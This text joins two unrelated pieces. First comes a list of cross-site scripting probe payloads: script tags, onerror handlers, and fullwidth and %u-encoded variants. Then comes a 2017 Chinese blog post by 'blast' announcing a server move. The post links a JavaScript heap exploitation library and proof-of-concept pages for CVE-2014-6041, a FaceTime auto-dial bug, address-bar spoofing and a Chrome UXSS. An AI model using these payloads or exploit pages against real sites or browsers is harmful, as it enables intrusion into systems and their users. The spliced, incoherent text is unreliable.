<script>alert(1)</script>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
%u0025%u0075%u0066%u0066%u0031%u0063%u0073%u0063%u0072%u0069%u0070%u0074%u0025%u0075%u0066%u0066%u0031%u0065%u0061%u006c%u0065%u0072%u0074%u0028%u0018%u0058%u0053%u0053%u0019%u0029%u003b%u0025%u0075%u0066%u0066%u0031%u0063%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u0025%u0075%u0066%u0066%u0031%u0065
%uff1cscript%uff1ealert(XSS);%uff1c/script%uff1e
%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
%uff1cscript%uff1ealert%uff08%uff07XSS%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
%uff1cscript%uff1ealert%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%uff02%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(XSS);%uff1c/script%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
%uff02%uff1e%uff1cscript%uff1ealert%uff08%uff07XSS%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
%uff02%uff1e%uff1cscript%uff1ealert%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%u003cscript%u003ealert(XSS);%u003c/script%u003e
%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
%u003cscript%u003ealert%u0028%u0027XSS%u0027%u0029%u003b%u003c%uff0fscript%u003e
%u003cscript%u003ealert%u00281uff09%u003b%u003c%uff0fscript%u003e
%u003cscript%u003ealert(1);%u003c/script%u003e
%u0022%u003e
%u0022%u003e%u003cscript%u003ealert(XSS);%u003c/script%u003e
%u0022%u003e%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
%u0022%u003e%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
%u0022%u003e%u003cscript%u003ealert%u0028%u0027XSS%u0027%u0029%u003b%u003c%uff0fscript%u003e
%u0022%u003e%u003cscript%u003ealert(1);%u003c/script%u003e
/"onafterscriptexecute=alert('XSS') 1='
Monday, June 5, 2017 by blast

因旧服务器稳定性问题,本站搬迁到新的服务器上



由于原来的服务器不稳定,我已经移动到了新的服务器上。

原先的一点东西也备份过来了,它们分别是:

JavaScript Heap Exploitation library
http://tem.pw/usr/uploads/2016/07/2266541613.rar

测试CVE-2014-6041,成功后弹出google.cn的网页源代码
http://tem.pw/old-backup/6.html

测试CVE-2013-6835 Facetime Audio 自动拨号漏洞
http://tem.pw/old-backup/5.html

测试HTTP 204地址栏伪造
http://tem.pw/old-backup/7.html

测试Chrome 30 Intent URL Scheme UXSS
http://tem.pw/old-backup/4.html

之后,所有的内容将基于本服务器和本博客系统开发。
给您带来的不便敬请谅解。

blast
2017-6-5

Sunday, June 4, 2017 by blast